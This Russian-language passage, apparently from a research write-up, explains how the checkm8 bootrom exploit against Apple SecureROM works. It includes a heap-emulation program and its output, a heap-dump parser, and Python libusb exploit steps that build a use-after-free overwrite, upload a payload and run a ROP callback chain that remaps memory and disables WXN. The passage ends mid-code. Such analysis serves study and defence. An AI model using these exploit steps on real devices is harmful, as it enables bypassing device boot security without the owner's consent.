Ключевой особенностью вызова stall является использование асинхронного исполнения запроса с минимальным таймаутом. За счет этого, если повезет, запрос будет отменен на уровне ОС и останется в очереди исполнения, а транзакция не будет завершена. При этом устройство продолжит принимать все поступающие SETUP-пакеты и, при необходимости, поместит их в очередь исполнения. В дальнейшем с помощью экспериментов с USB-контроллером на Arduino нам удалось выяснить, что для успешной эксплуатации хост должен отправить SETUP-пакет и IN-токен, после чего транзакция должна быть отменена по таймауту. Схематично, такую незавершенную транзакцию можно изобразить так:
В остальном запросы отличаются только длиной и всего лишь на единицу. Дело в том, что для стандартных запросов существует стандартный callback, который выглядит так:
Значение io_length равно минимуму из wLength в SETUP-пакете запроса и оригинальной длины запрашиваемого дескриптора. За счет того, что дескриптор достаточно длинный, мы можем точно контролировать значение io_length в пределах его длины. Значение g_setup_request.wLength равно значению wLength последнего SETUP-пакета, в данном случае — 0xC1.
Таким образом, при завершении запросов, сформированных с помощью вызовов stall и leak, условие в завершающей callback-функции выполняется, и вызывается usb_core_send_zlp(). Этот вызов просто создает нулевой пакет (zero-length- packet) и добавляет его в очередь исполнения. Это необходимо для корректного завершения транзакции в Status Stage.
Запрос завершается вызовом функции usb_core_complete_endpoint_io, которая сначала вызывает callback, а затем освобождает память запроса. При этом завершение запроса может происходить не только при фактическом завершении всей транзакции, но и при сбросе USB. Как только будет получен сигнал сброса USB, будет произведен обход очереди запросов, и каждый из них будет завершен.
За счет выборочного вызова usb_core_send_zlp() при обходе очереди запросов с их последующим освобождением можно добиться достаточного контроля кучи для эксплуатации use-after-free. Для начала посмотрим на сам цикл освобождения:
Очередь запросов сначала очищается, потом производится обход отмененных запросов, и они завершаются с помощью вызова usb_core_complete_endpoint_io. При этом выделенные с помощью usb_core_send_zlp запросы помещаются в ep->io_head. После завершения процедуры сброса USB вся информация о конечной точке будет обнулена, в том числе указатели io_head и io_tail, и запросы нулевой длины останутся в куче. Так можно создать чанк небольшого размера посреди всей остальной кучи. На схеме ниже показано, как это происходит:
Куча в SecureROM устроена таким образом, что новая область памяти выделяется из подходящего свободного чанка наименьшего размера. Создав небольшой свободный чанк описанным выше методом, можно повлиять на выделение памяти при инициализации USB и на выделение io_buffer и запросов.
Для лучшего понимания разберемся, какие запросы к куче происходят при инициализации DFU. В ходе анализа исходного кода iBoot и реверс-инжиниринга SecureROM нам удалось получить следующую последовательность:
1. Аллокация различных строковых дескрипторов
1. Аллокации, связанные с созданием таска USB-контроллера
1. io_buffer (0x800)
1. Конфигурационные дескрипторы
Затем происходит аллокация структур запросов. При наличии чанка небольшого размера в середине пространства кучи часть аллокаций из первой категории уйдут в этот чанк, а все остальные аллокации сдвинутся, за счет чего мы сможем переполнить usb_device_io_request, обратившись к старому буферу. Схематично это можно изобразить следующим образом:
Для расчета необходимого смещения мы решили просто проэмулировать перечисленные выше аллокации, немного адаптировав исходный код кучи iBoot.
Spoiler: Эмуляция обращений к куче в DFU
Code:Copy to clipboard
#include "heap.h"
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#ifndef NOLEAK
#define NOLEAK (8)
#endif
int main() {
void * chunk = mmap((void *)0x1004000, 0x100000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("chunk = %p\n", chunk);
heap_add_chunk(chunk, 0x100000, 1);
malloc(0x3c0); // выравнивание для соответствия младших байт адресов в SecureRAM
void * descs[10];
void * io_req[100];
descs[0] = malloc(234);
descs[1] = malloc(22);
descs[2] = malloc(62);
descs[3] = malloc(198);
descs[4] = malloc(62);
const int N = NOLEAK;
void * task = malloc(0x3c0);
void * task_stack = malloc(0x4000);
void * io_buf_0 = memalign(0x800, 0x40);
void * hs = malloc(25);
void * fs = malloc(25);
void * zlps[2];
for(int i = 0; i < N; i++)
{
io_req[i] = malloc(0x30);
}
for(int i = 0; i < N; i++)
{
if(i < 2)
{
zlps[i] = malloc(0x30);
}
free(io_req[i]);
}
for(int i = 0; i < 5; i++)
{
printf("descs[%d] = %p\n", i, descs[i]);
}
printf("task = %p\n", task);
printf("task_stack = %p\n", task_stack);
printf("io_buf = %p\n", io_buf_0);
printf("hs = %p\n", hs);
printf("fs = %p\n", fs);
for(int i = 0; i < 2; i++)
{
printf("zlps[%d] = %p\n", i, zlps[i]);
}
printf("**********\n");
for(int i = 0; i < 5; i++)
{
free(descs[i]);
}
free(task);
free(task_stack);
free(io_buf_0);
free(hs);
free(fs);
descs[0] = malloc(234);
descs[1] = malloc(22);
descs[2] = malloc(62);
descs[3] = malloc(198);
descs[4] = malloc(62);
task = malloc(0x3c0);
task_stack = malloc(0x4000);
void * io_buf_1 = memalign(0x800, 0x40);
hs = malloc(25);
fs = malloc(25);
for(int i = 0; i < 5; i++)
{
printf("descs[%d] = %p\n", i, descs[i]);
}
printf("task = %p\n", task);
printf("task_stack = %p\n", task_stack);
printf("io_buf = %p\n", io_buf_1);
printf("hs = %p\n", hs);
printf("fs = %p\n", fs);
for(int i = 0; i < 5; i++)
{
io_req[i] = malloc(0x30);
printf("io_req[%d] = %p\n", i, io_req[i]);
}
printf("**********\n");
printf("io_req_off = %#lx\n", (int64_t)io_req[0] - (int64_t)io_buf_0);
printf("hs_off = %#lx\n", (int64_t)hs - (int64_t)io_buf_0);
printf("fs_off = %#lx\n", (int64_t)fs - (int64_t)io_buf_0);
return 0;
}
Вывод программы при 8-ми запросах на этапе heap feng-shui:
Code:Copy to clipboard
chunk = 0x1004000
descs[0] = 0x1004480
descs[1] = 0x10045c0
descs[2] = 0x1004640
descs[3] = 0x10046c0
descs[4] = 0x1004800
task = 0x1004880
task_stack = 0x1004c80
io_buf = 0x1008d00
hs = 0x1009540
fs = 0x10095c0
zlps[0] = 0x1009a40
zlps[1] = 0x1009640
**********
descs[0] = 0x10096c0
descs[1] = 0x1009800
descs[2] = 0x1009880
descs[3] = 0x1009900
descs[4] = 0x1004480
task = 0x1004500
task_stack = 0x1004900
io_buf = 0x1008980
hs = 0x10091c0
fs = 0x1009240
io_req[0] = 0x10092c0
io_req[1] = 0x1009340
io_req[2] = 0x10093c0
io_req[3] = 0x1009440
io_req[4] = 0x10094c0
**********
io_req_off = 0x5c0
hs_off = 0x4c0
fs_off = 0x540
Очередной usb_device_io_request окажется по смещению 0x5c0 от начала предыдущего буфера, что соответсвует коду эксплойта:
Code:Copy to clipboard
8010_overwrite = '\0' * 0x5c0
t8010_overwrite += struct.pack('<32x2Q', t8010_nop_gadget, callback_chain)
В правильности описанных выше рассуждений можно убедиться, проанализировав актуальное содержимое кучи в SecureRAM, которое мы получили с помощью checkm8. Мы написали довольно простой скрипт, который парсит дамп кучи и перечисляет чанки. При парсинге стоит учесть, что при переполнении usb_device_io_request часть метаданных чанков была повреждена, и их мы пропускаем при анализе скриптом.
Python:Copy to clipboard
#!/usr/bin/env python3
import struct
from hexdump import hexdump
with open('HEAP', 'rb') as f:
heap = f.read()
cur = 0x4000
def parse_header(cur):
_, _, _, _, this_size, t = struct.unpack('<QQQQQQ', heap[cur:cur + 0x30])
is_free = t & 1
prev_free = (t >> 1) & 1
prev_size = t >> 2
this_size *= 0x40
prev_size *= 0x40
return this_size, is_free, prev_size, prev_free
while True:
try:
this_size, is_free, prev_size, prev_free = parse_header(cur)
except Exception as ex:
break
print('chunk at', hex(cur + 0x40))
if this_size == 0:
if cur in (0x9180, 0x9200, 0x9280): # пропуск поврежденных чанков
this_size = 0x80
else:
break
print(hex(this_size), 'free' if is_free else 'non-free', hex(prev_size), prev_free)
hexdump(heap[cur + 0x40:cur + min(this_size, 0x100)])
cur += this_size
С выводом скрипта с комментариями можно ознакомиться под спойлером. Видно, что младшие байты адресов совпадают с результатом эмуляции.
Spoiler: Результат парсинга кучи в SecureRAM
Code:Copy to clipboard
chunk at 0x4040
0x40 non-free 0x0 0
chunk at 0x4080
0x80 non-free 0x40 0
00000000: 00 41 1B 80 01 00 00 00 00 00 00 00 00 00 00 00 .A..............
00000010: 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 ................
00000020: FF 00 00 00 00 00 00 00 68 3F 08 80 01 00 00 00 ........h?......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x4100
0x140 non-free 0x80 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4240
0x240 non-free 0x140 0
00000000: 68 6F 73 74 20 62 72 69 64 67 65 00 00 00 00 00 host bridge.....
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4480 // descs[4], conf string
0x80 non-free 0x240 0
00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
chunk at 0x4500 // task
0x400 non-free 0x80 0
00000000: 6B 73 61 74 00 00 00 00 E0 01 08 80 01 00 00 00 ksat............
00000010: E8 83 08 80 01 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x4900 // task stack
0x4080 non-free 0x400 0
00000000: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000010: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000020: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000030: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000040: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000050: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000060: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000070: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000080: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
00000090: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
000000A0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
000000B0: 6B 61 74 73 6B 61 74 73 6B 61 74 73 6B 61 74 73 katskatskatskats
chunk at 0x8980 // io_buf
0x840 non-free 0x4080 0
00000000: 63 6D 65 6D 63 6D 65 6D 00 00 00 00 00 00 00 00 cmemcmem........
00000010: 10 00 0B 80 01 00 00 00 00 00 1B 80 01 00 00 00 ................
00000020: EF FF 00 00 00 00 00 00 10 08 0B 80 01 00 00 00 ................
00000030: 4C CC 00 00 01 00 00 00 20 08 0B 80 01 00 00 00 L....... .......
00000040: 4C CC 00 00 01 00 00 00 30 08 0B 80 01 00 00 00 L.......0.......
00000050: 4C CC 00 00 01 00 00 00 40 08 0B 80 01 00 00 00 L.......@.......
00000060: 4C CC 00 00 01 00 00 00 A0 08 0B 80 01 00 00 00 L...............
00000070: 00 06 0B 80 01 00 00 00 6C 04 00 00 01 00 00 00 ........l.......
00000080: 00 00 00 00 00 00 00 00 78 04 00 00 01 00 00 00 ........x.......
00000090: 00 00 00 00 00 00 00 00 B8 A4 00 00 01 00 00 00 ................
000000A0: 00 00 0B 80 01 00 00 00 E4 03 00 00 01 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 34 04 00 00 01 00 00 00 ........4.......
chunk at 0x91c0 // hs config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x9240 // ls config
0x80 non-free 0x0 0
00000000: 09 02 19 00 01 01 05 80 FA 09 04 00 00 00 FE 01 ................
00000010: 00 00 07 21 01 0A 00 00 08 00 00 00 00 00 00 00 ...!............
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
chunk at 0x92c0
0x80 non-free 0x0 0
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 6C CC 00 00 01 00 00 00 00 08 0B 80 01 00 00 00 l...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9340
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF C0 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 48 DE 00 00 01 00 00 00 C0 93 1B 80 01 00 00 00 H...............
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x93c0
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9440
0x80 non-free 0x80 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x94c0
0x180 non-free 0x80 0
00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
chunk at 0x9640 // zlps[1]
0x80 non-free 0x180 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x96c0 // descs[0], Nonce
0x140 non-free 0x80 0
00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .N.O.N.C.:.5.
00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.C.A.9.7.A.
00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 F.E.6.0.6.C.9.A.
00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7.
00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 C.F.3.5.0.F.B.6.
00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.C.A.A.D.0.
00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A.
00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.B.C.8.D.2.
00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. .
00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 S.N.O.N.:.B.B.A.
000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5.
000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2.
chunk at 0x9800 // descs[1], Manufacturer
0x80 non-free 0x140 0
00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..A.p.p.l.e. .I.
00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF n.c.............
00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9880 // descs[2], Product
0x80 non-free 0x80 0
00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.A.p.p.l.e. .M.
00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 o.b.i.l.e. .D.e.
00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 v.i.c.e. .(.D.F.
00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .M.o.d.e.)...
chunk at 0x9900 // descs[3], Serial number
0x140 non-free 0x80 0
00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..C.P.I.D.:.8.0.
00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .C.P.R.V.:.
00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .C.P.F.M.:.
00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .S.C.E.P.:.
00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .B.D.I.D.:.
00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .E.C.I.D.:.
00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6.
00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6.
00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .I.B.F.L.:.3.C.
00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .S.R.T.G.:.[.i.
000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 B.o.o.t.-.2.6.9.
000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1...
chunk at 0x9a40 // zlps[0]
0x80 non-free 0x140 0
00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................
00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@.......
00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................
chunk at 0x9ac0
0x46540 free 0x80 0
00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Также интересный эффект можно получить, переполняя конфигурационные дескрипторы High Speed и Full Speed, которые находятся сразу после IO-буфера. Одно из полей конфигурационного дескриптора отвечает за его общую длину, и, переполнив его, можно добиться чтения за пределами дескриптора. Предлагаем заинтересованному читателю проделать это самостоятельно, модифицировав код эксплойта соответствующим образом.
2. Аллокация и освобождение IO-буфера без очистки глобального состояния
Code:Copy to clipboard
device = dfu.acquire_device()
device.serial_number
libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001)
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)
На данном этапе создается незавершенный OUT-запрос для загрузки образа. При этом происходит инициализация глобального состояния, и в io_buffer будет помещен адрес буфера в куче. Затем происходит сброс DFU с помощью запроса DFU_CLR_STATUS, и начинается новая итерация работы DFU.
3. Перезапись usb_device_io_request в куче с помощью use-after-free
Code:Copy to clipboard
device = dfu.acquire_device()
device.serial_number
stall(device)
leak(device)
leak(device)
libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)
Здесь происходит выделение объекта типа usb_device_io_request в куче и его переполнение с помощью t8010_overwrite, содержимое которого было приведено на первом этапе.
Значениями t8010_nop_gadget и 0x1800B0800 должны переполниться поля callback и next структуры usb_device_io_request.
t8010_nop_gadget представлен ниже и соответствует своему названию, однако в нем происходит не просто возврат из функции, а еще и восстановление предыдущего регистра LR, из-за чего пропускается вызов free после callback- функции в usb_core_complete_endpoint_io. Это важно, так как при переполнении мы повреждаем метаданные кучи, и при попытке освобождения это повлияло бы на работу эксплойта.
Code:Copy to clipboard
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
next указывает на INSECURE_MEMORY + 0x800. В INSECURE_MEMORY будет находиться полезная нагрузка эксплойта, а по смещению 0x800в полезной нагрузке находится callback-chain, речь о котором пойдет ниже.
4. Размещение полезной нагрузки
Code:Copy to clipboard
for i in range(0, len(payload), 0x800):
libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0,
payload[i:i+0x800], 50)
На данном этапе каждый следующий пакет помещается в область памяти для образа. Итоговая полезная нагрузка выглядит следующим образом:
Code:Copy to clipboard
0x1800B0000: t8010_shellcode # инициализирующий shell-code
...
0x1800B0180: t8010_handler # новый обработчик usb-запросов
...
0x1800B0400: 0x1000006a5 # дескриптор фейковой таблицы трансляции
# соответствует SecureROM (0x100000000 -> 0x100000000)
# совпадает со значением в оригинальной таблице трансляции
...
0x1800B0600: 0x60000180000625 # дескриптор фейковой таблицы трансляции
# соответствует SecureRAM (0x180000000 -> 0x180000000)
# совпадает со значением в оригинальной таблице трансляции
0x1800B0608: 0x1800006a5 # дескриптор фейковой таблицы трансляции
# новое значение транслирует 0x182000000 в 0x180000000
# при этом в данном дескрипторе есть права на исполнение кода
0x1800B0610: disabe_wxn_arm64 # код для отключения WXN
0x1800B0800: usb_rop_callbacks # callback-chain
5. Исполнение callback-chain
Code:Copy to clipboard
dfu.usb_reset(device)
dfu.release_device(device)
После сброса USB начинается цикл отмены незавершенных usb_device_io_request в очереди с помощью прохода по связанному списку. На предыдущих этапах мы подменили продолжение очереди запросов, благодаря чему можно контролировать цепочку вызовов callback. Для построения этой цепочки используется следующий гаджет:
Code:Copy to clipboard
bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address
bootrom:000000010000CC50 LSL W2, W2, W9
bootrom:000000010000CC54 MOV X0, X8 ; arg0
bootrom:000000010000CC58 BLR X10 ; call
bootrom:000000010000CC5C CMP W0, #0
bootrom:000000010000CC60 CSEL W0, W0, W19, LT
bootrom:000000010000CC64 B loc_10000CC6C
bootrom:000000010000CC68 ; ---------------------------------------------------------------------------
bootrom:000000010000CC68
bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j
bootrom:000000010000CC68 MOV W0, #0
bootrom:000000010000CC6C
bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j
bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0]
bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20
bootrom:000000010000CC74 RET
Как видите, по смещению 0x70 от указателя на структуру загружаются адрес вызова и первый аргумент для вызова. С помощью этого гаджета можно легко делать вызовы вида f(x) для произвольных f и x.
Всю цепочку вызовов можно легко проэмулировать, используя Unicorn Engine. Мы сделали это с помощью нашей модифицированной версии плагина uEmu.
Результат работы всей цепочки для iPhone 7 с пояснениями приведем ниже.
5.1. dc_civac 0x1800B0600
Code:Copy to clipboard
000000010000046C: SYS #3, c7, c14, #1, X0
0000000100000470: RET
Очистка и инвалидация кэша процессора по виртуальному адресу. Это необходимо для того, чтобы в дальнейшем процессор обращался именно к нашей полезной нагрузке.
5.2. dmb
Code:Copy to clipboard
0000000100000478: DMB SY
000000010000047C: RET
Барьер памяти, гарантирующий завершение всех операций с памятью, производимых до этой инструкции. Дело в том, что в высокопроизводительных процессорах в целях оптимизации инструкции могут исполнятся в порядке, отличном от запрограммированного.
5.3. enter_critical_section()
Затем происходит маскировка прерываний для атомарного выполнения последующих операций.
5.4. write_ttbr0(0x1800B0000)
Code:Copy to clipboard
00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1))
00000001000003E8: ISB
00000001000003EC: RET
Устанавливается новое значение регистра трансляции TTBR0_EL1 в 0x1800B0000. Это адрес INSECURE MEMORY, где расположена полезная нагрузка эксплойта. Как было замечено ранее, по нужным смещениям в полезной нагрузке расположены дескрипторы трансляции:
Code:Copy to clipboard
...
0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx)
...
0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw)
0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx)
...
5.5. tlbi
Code:Copy to clipboard
0000000100000434: DSB SY
0000000100000438: SYS #0, c8, c7, #0
000000010000043C: DSB SY
0000000100000440: ISB
0000000100000444: RET
Происходит инвалидация таблицы трансляции для того, чтобы адреса транслировались в соответствии с нашей новой таблицей трансляции.
5.6. 0x1820B0610 - disable_wxn_arm64
Code:Copy to clipboard
MOV X1, #0x180000000
ADD X2, X1, #0xA0000
